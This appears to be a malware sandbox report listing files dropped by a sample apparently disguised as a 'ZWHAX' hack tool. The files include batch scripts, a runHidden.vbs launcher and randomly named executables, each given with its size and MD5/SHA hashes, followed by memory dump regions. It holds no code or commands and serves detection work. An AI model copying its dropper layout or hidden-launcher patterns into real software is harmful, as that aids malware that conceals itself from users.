10KB

MD5
7eb7bcabb0580aa52320ef6098066537

SHA1
695bd2238f90711e08e63ed5ff26d0ec637db124

SHA256
aeb5f5502d0d4f265a326c44b69f9279e302fd7996d68847dcef7c45b45f34ce

SHA512
aeca2b6054ee5a99a3f47cae53d7f19817b7f491c52117241c673050c4cb624c32e309b7c184dd5cc2e166a28f90c128b880ab74c685e5e143d4c2823917387d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
10KB

MD5
5cdd065b5aa721484b653ac9bfe94a68

SHA1
5e0c971aa85af3010930c38fa18db05612345983

SHA256
bfd24e4c1764d39f03eedf9523f68f1d52699594d2b748bc6e6af8ae4e03d2f9

SHA512
6e7cec8cefa8a5a994178940d0bccea9bdaabf00e49d27b021391f0a8c6672139af08b326d92e0aebfa78075997f4a6438913a8472335e1c3b18a3c106f9d8bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
edff8411b90eb97d31dd00831bd9afb2

SHA1
29af749a3576d0c88c54e75c63ec59579dfe2b2d

SHA256
9cce910fd370ca538c37d328df605fa870a09db90244ca17cde0cc75ac059edc

SHA512
fa9bd63dcdb2934705f186edcf5db38009573e9e304ec2b21de47387c27acf51d84e4f61ebc98d22812d1b7df4c70a2354e4a623368b50d8c0f15aca25fb34e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f5fc6519219e8ab530a865e149a92a02

SHA1
c87b95f3c358c6b12da350bb978ff195d2feb060

SHA256
0420d40d4963dede50b4fb06bcd7ed341e9bae388c8cade178c52d0f4088d23f

SHA512
dcd64a54d777f4832b959f91f4deea1106a6065dd7d0421d47e5de28a227033387bc9af695111b669aad7b2b36922ef09e5384628c708fe595e7daff7bb5468e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
7627ddff8902f178593c52e473808648

SHA1
47ee5844b75a41d91a49270c60d521b29301b4b6

SHA256
adcb516d315214c43b46a99b01325473b875ad80100ca8233c0e3851e29013af

SHA512
6363b56f039abdd8d8dc5d3a073052f404077bdf96b73aee36f05663d788ce0227f88574e8a41404f6debfc5be7c90b30723259221f8de81672c4b83ec1f68f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
c20ac38ae3022e305b8752804aadf486

SHA1
4c144d6cfafb5c37ab4810ff3c1744df81493cdb

SHA256
03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

SHA512
c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\215E.tmp\215F.tmp\2160.bat
Filesize
6KB

MD5
6f5b79636cacf3dcf01cd91bf06b299b

SHA1
5f693dc679f275b38741e992279ca67dee962857

SHA256
2a2e2c1601d29375c31b86c53b9c50d1b59e07f1bf63435fb4f9529d0b5c9405

SHA512
42f22a50ca011a92cbae8d0035915dcfde80f4fbc1c011619f2b4bc3166cddd30f8851634e1e28c9290b8550d6b8c865b3ddf6a4cad9b7cd5f9af5da8e78d600

Download Submit
C:\Users\Admin\AppData\Local\Temp\21FA.tmp\21FB.tmp\21FC.bat
Filesize
1KB

MD5
271dec7719a77c4638942d8247d12033

SHA1
e06d0309acc948f47bd1d2c4ced15a165875e4b6

SHA256
33cd4ccab998f90c97b237fec669e31944906c70298187e506934877aa0605bd

SHA512
3b352583360edbd980ac6885e0fdf431231fc39f8da0553b0457914fb1a2276bf508e3a33dc629857e5d47acb20fcddadee1120b99eaadb761443e6ae7b27226

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zepbszip.3ua.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\runHidden.vbs
Filesize
164B

MD5
3dbc9561e526b850f960186a562d2716

SHA1
dac89aeb2e534f9ecf01f8f4a06389158ccf72d1

SHA256
a1f1409474f61cbbe7d590a54227120ad46573d45af64bfa87660cf9e76db2e0

SHA512
c45abe0351fcf7c64990ff093fd642594f0ca4dd7328ed7d5b2b3433bb72a3c9cc79e4c295361acbb0ca59248527f3df712d2e8b4a56af43f661718042134d02

Download Submit
C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx0.exe
Filesize
94KB

MD5
e0c72b8d8a04b2be1ab3f213d10e1dcd

SHA1
97ec44a40ba00a083b93a5f9636d4be35902e790

SHA256
4609451d92ffef8ca086a59dc861f888ccf75917e3720209ad0b9912612e2998

SHA512
4f2f54c36ffa0e65b7aa5b0399e8bf50b46f05d9652a19e83daab4a4b37865f514233175fe0ba86f0ba1ed824b41edb56394c70928507aafee5e071de51011a7

Download Submit
C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx1.exe
Filesize
423KB

MD5
8b1de71f412ebe150a2054bddc0ddcc8

SHA1
4782e5487b98bc353959dca110000328ba596c30

SHA256
c1680857ca2993539b1cf3040f144cd26e324c0091ef7e4e500a390584c98b66

SHA512
d725798c7677b54dc5fb1662ba98a71a50bdbcdf101b06cd560a90211be7ae9ebed315f2ceec8a38425c9de63ca53b4dc541b53d432deb17bafb1d102949c57b

Download Submit
C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx2.exe
Filesize
5.2MB

MD5
d3a0a9f2a3e80ac0b21989c1d5122944

SHA1
d329ff5a234047c101b5a17f6bc5fc8b796d0aa7

SHA256
cbf66a9ab4d8749f32b89d73d0bc5ffd56edf8b59e608270bd5c3f08764babe0

SHA512
40e651126f7d26442450e0069db1a55f9ad93df70c124ff6c900df61a762fd0e6b6c64e7196bd61b2c7d951996f8dd2e12c11f4151df8ccb03bbe21dbc30d2bf

Download Submit
C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx3.exe
Filesize
89KB

MD5
232df1e89fad603c20a9dced57983322

SHA1
89347e16c723e4cc89a080066a632b9f48a26cb3

SHA256
3b5ea4dddab91d998e105206b8cffade1554b065b88e584360710b11a315bfd0

SHA512
1adc8603c0757daa7076fe2f6af7b88369841107c9cc964083e8e1fa90adff2b32f87278df48f53591161ce6507c9434a3426b6ec4532020d605495e1f9d2e5a

Download Submit
C:\Users\Admin\Downloads\ZWHAX.7z
Filesize
2.1MB

MD5
8ea71e44bc940127bfd02d4512930c07

SHA1
fab80238d2b10feba657db134bd37e4a521a0cd4

SHA256
5aa80e1893ffd8c60fffb371e030851eec97991b6dab4b7854d358fe71d558c0

SHA512
a7004171b424580c64e8b4f9663bb915c17f1d22bbe4289c2649a46b86350f8a298ed47b56fe8828dfd22b69ab6d000cec5b6ce4c0656d4818b14957ab1217e8

Download Submit
C:\Users\Admin\Downloads\ZWHAX\ZWHAX\ZWHax.exe
Filesize
8KB

MD5
4fbb04c9e3aa983cbfc4980a7b5b7041

SHA1
34aeca658462e638521bc384a4935251678a9a78

SHA256
24f095f4f5796561cc9f9c60f71a2182fee89692f239c92e7447af3461e12731

SHA512
615534039ad97fea8c881656a53b6b0ead41e3770e0a3f3cd38052585dc5a102ab25b824c59c3142b75f6b62e56ff46ab981e27c889ded28a5cc2884581863bc

Download Submit
C:\Windows\Installer\MSI4234.tmp
Filesize
390KB

MD5
80bebea11fbe87108b08762a1bbff2cd

SHA1
a7ec111a792fd9a870841be430d130a545613782

SHA256
facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

SHA512
a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

Download Submit
C:\Windows\Installer\e58d6a8.msi
Filesize
25.3MB

MD5
0df081aa47e7159e585488a161a97466

SHA1
2dc9a592dbb208624aff11a57f97bea89a315973

SHA256
20c578361911d7b0cf153b293b025970eca383a2c802e0df438ac254aaca165d

SHA512
2e1b58add6a714281f2ddeb936069c0eb8ce24ae2e440941379c4273afd7f1a96b162d5b88211e8678804bad652e48c99a4993e0e0d0da4d1abd7550d397e836

Download Submit
\??\pipe\LOCAL\crashpad_2724_BPLHSVMYDTXDFIWY
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/392-495-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/392-494-0x0000019D5BA70000-0x0000019D5BA9B000-memory.dmp

Filesize
172KB

Download
memory/400-509-0x0000016A23FA0000-0x0000016A23FCB000-memory.dmp

Filesize
172KB

Download
memory/400-510-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/416-501-0x000002447B710000-0x000002447B73B000-memory.dmp

Filesize
172KB

Download
memory/416-502-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/620-485-0x0000023606D70000-0x0000023606D9B000-memory.dmp

Filesize
172KB

Download
memory/620-486-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/620-484-0x0000023606D40000-0x0000023606D64000-memory.dmp

Filesize
144KB

Download
memory/672-490-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/672-489-0x000002DAE2A40000-0x000002DAE2A6B000-memory.dmp

Filesize
172KB

Download
memory/956-497-0x0000023A486D0000-0x0000023A486FB000-memory.dmp

Filesize
172KB

Download
memory/956-498-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/1048-513-0x00007FFA63710000-0x00007FFA63720000-memory.dmp

Filesize
64KB

Download
memory/1048-512-0x000001CD9FCA0000-0x000001CD9FCCB000-memory.dmp

Filesize
172KB

Download
memory/1100-515-0x0000022065860000-0x000002206588B000-memory.dmp

Filesize
172KB

Download
memory/1912-318-0x00007FFAA3690000-0x00007FFAA3885000-memory.dmp

Filesize
2.0MB

Download
memory/1912-317-0x0000000003540000-0x0000000003940000-memory.dmp

Filesize
4.0MB

Download
memory/1912-316-0x0000000003540000-0x0000000003940000-memory.dmp

Filesize
4.0MB

Download
memory/1912-263-0x0000000000760000-0x00000000007DE000-memory.dmp

Filesize
504KB

Download
memory/1912-320-0x00000000773C0000-0x00000000775D5000-memory.dmp

Filesize
2.1MB

Download
memory/1912-324-0x0000000000760000-0x00000000007DE000-memory.dmp

Filesize
504KB

Download
memory/3136-220-0x0000000000940000-0x0000000000948000-memory.dmp

Filesize
32KB

Download
memory/4328-227-0x0000022DC0050000-0x0000022DC0072000-memory.dmp

Filesize
136KB

Download
memory/5228-473-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-475-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-474-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-477-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-472-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-478-0x00007FFAA3690000-0x00007FFAA3885000-memory.dmp

Filesize
2.0MB

Download
memory/5228-481-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5228-479-0x00007FFAA3480000-0x00007FFAA353E000-memory.dmp

Filesize
760KB

Download
memory/5500-327-0x00000000773C0000-0x00000000775D5000-memory.dmp

Filesize
2.1MB

Download
memory/5500-321-0x0000000000F00000-0x0000000000F09000-memory.dmp

Filesize
36KB

Download
memory/5500-323-0x0000000002990000-0x0000000002D90000-memory.dmp

Filesize
4.0MB

Download
memory/5500-325-0x00007FFAA3690000-0x00007FFAA3885000-memory.dmp

Filesize
2.0MB

Download
memory/5680-425-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-423-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-421-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-422-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-415-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-417-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-416-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-424-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-427-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/5680-426-0x000002BEAC100000-0x000002BEAC101000-memory.dmp

Filesize
4KB

Download
memory/6084-383-0x0000000000D80000-0x0000000000DFE000-memory.dmp

Filesize
504KB

Download
memory/6084-413-0x00000000034E0000-0x00000000038E0000-memory.dmp

Filesize
4.0MB

Download
memory/6084-414-0x0000000000D80000-0x0000000000DFE000-memory.dmp

Filesize
504KB

Download
memory/6552-1170-0x0000015D4AE60000-0x0000015D4B606000-memory.dmp

Filesize
7.6MB

Download